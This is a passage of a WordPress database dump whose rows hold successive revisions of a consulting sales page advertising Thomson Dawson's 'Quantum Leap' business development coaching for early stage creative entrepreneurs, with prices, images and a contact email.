(2366, 2, '2013-08-03 17:38:00', '2013-08-04 00:38:00', '', 'Thomson & Client', 0, '', 'inherit', 'open', 'open', '', 'thomsonw-client', '', '', '2013-08-03 17:38:00', '2013-08-04 00:38:00', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/thomsonw.client.jpg', 0, 'attachment', 'image/jpeg', 0),
(2367, 2, '2013-05-24 11:20:09', '2013-05-24 18:20:09', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and service categories.</strong><strong> I offer issue-based consulting in professional development, marketing, communications and  business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2301" title="Thomson Dawson, Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-5.jpg" alt="" width="495" height="306" /></strong></span><strong>Thomson Dawson</strong><strong>\r\nBusiness Transformation Consultant\r\nto Early Stage Creative Entrepreneurs</strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different. However, what distinguishes my work from other consultants is my sole focus on business transformation– guiding you to breakthroughs to your next level of success and providing the tools necessary for you to attract and retain higher value clients and customers!\r\n\r\nAs a creative entrepreneur and marketing professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for early stage entreprenuers. I know the challenges involved selling in your ideas and developing proposals that win business. I also know the pressure of meeting a payroll every week.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\n<strong>Here’s my two-word answer: clarity and confidence.</strong>\r\n\r\nMy clients want clarity to lock onto a big vision for your future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n\r\n<img class="alignnone size-full wp-image-2302" title="Thomson dawson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.-thomson-sd-8.jpg" alt="" width="495" height="188" />\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-05-24 11:20:09', '2013-05-24 18:20:09', '', 138, 'http://www.whitehotcenter.com/2013/05/138-revision-187/', 0, 'revision', '', 0);
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(2368, 2, '2013-08-03 17:46:27', '2013-08-04 00:46:27', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and service categories.</strong><strong> I offer issue-based consulting in professional development, marketing, communications and  business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success. On-site individual and team consulting  and one-day strategic workshops are also available.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2301" title="Thomson Dawson, Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-5.jpg" alt="" width="495" height="306" /></strong></span><strong><img class="alignnone size-full wp-image-2366" title="Thomson &amp; Client" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonw.client.jpg" alt="" width="495" height="332" />\r\n\r\n</strong><strong></strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n\r\nMy clients want clarity to lock onto a big vision for their future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h1><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h1>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-03 17:46:27', '2013-08-04 00:46:27', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-188/', 0, 'revision', '', 0),
(2369, 2, '2013-08-04 10:57:57', '2013-08-04 17:57:57', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and professional service categories.</strong><strong> I offer issue-based consulting in professional development, brand marketing, communications and business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  Many of my clients want to double or triple their ccurrent income. I''ll help you to kick up your game!  I''ll advise you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success. On-site individual and team consulting  and one-day strategic workshops are also available.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2301" title="Thomson Dawson, Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-5.jpg" alt="" width="495" height="306" /></strong></span><strong><img class="alignnone size-full wp-image-2366" title="Thomson &amp; Client" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonw.client.jpg" alt="" width="495" height="332" /></strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n\r\nMy clients want clarity to lock onto a big vision for their future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-04 10:57:57', '2013-08-04 17:57:57', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-189/', 0, 'revision', '', 0),
(2370, 2, '2013-08-04 10:58:47', '2013-08-04 17:58:47', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and professional service categories.</strong><strong> I offer issue-based consulting in professional development, brand marketing, communications and business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  Many of my clients want to double or triple their ccurrent income. I''ll help you to kick up your game!  I''ll advise you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success. On-site individual and team consulting  and one-day strategic workshops are also available.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2301" title="Thomson Dawson, Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-5.jpg" alt="" width="495" height="306" /></strong></span><strong><img class="alignnone size-full wp-image-2366" title="Thomson &amp; Client" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonw.client.jpg" alt="" width="495" height="332" /></strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n\r\nMy clients want clarity to lock onto a big vision for their future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-04 10:58:47', '2013-08-04 17:58:47', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-190/', 0, 'revision', '', 0),
(2371, 2, '2013-08-04 11:03:07', '2013-08-04 18:03:07', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and professional service categories.</strong><strong> I offer issue-based consulting in professional development, brand marketing, communications and business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  Many of my clients want to double or triple their ccurrent income. I''ll help you to kick up your game!  I''ll advise you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2301" title="Thomson Dawson, Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-5.jpg" alt="" width="495" height="306" /></strong></span><strong><img class="alignnone size-full wp-image-2366" title="Thomson &amp; Client" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonw.client.jpg" alt="" width="495" height="332" /></strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n\r\nMy clients want clarity to lock onto a big vision for their future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future. </strong><strong>On-site individual and team consulting in a one-day strategic workshop format are also available.</strong>\r\n\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-04 11:03:07', '2013-08-04 18:03:07', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-191/', 0, 'revision', '', 0),
(2372, 2, '2013-08-04 11:05:22', '2013-08-04 18:05:22', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and professional service categories.</strong><strong> I offer issue-based consulting in professional development, brand marketing, communications and business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  Many of my clients want to double or triple their ccurrent income. I''ll help you to kick up your game!  I''ll advise you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2301" title="Thomson Dawson, Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-5.jpg" alt="" width="495" height="306" /></strong></span><strong><img class="alignnone size-full wp-image-2366" title="Thomson &amp; Client" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonw.client.jpg" alt="" width="495" height="332" /></strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all 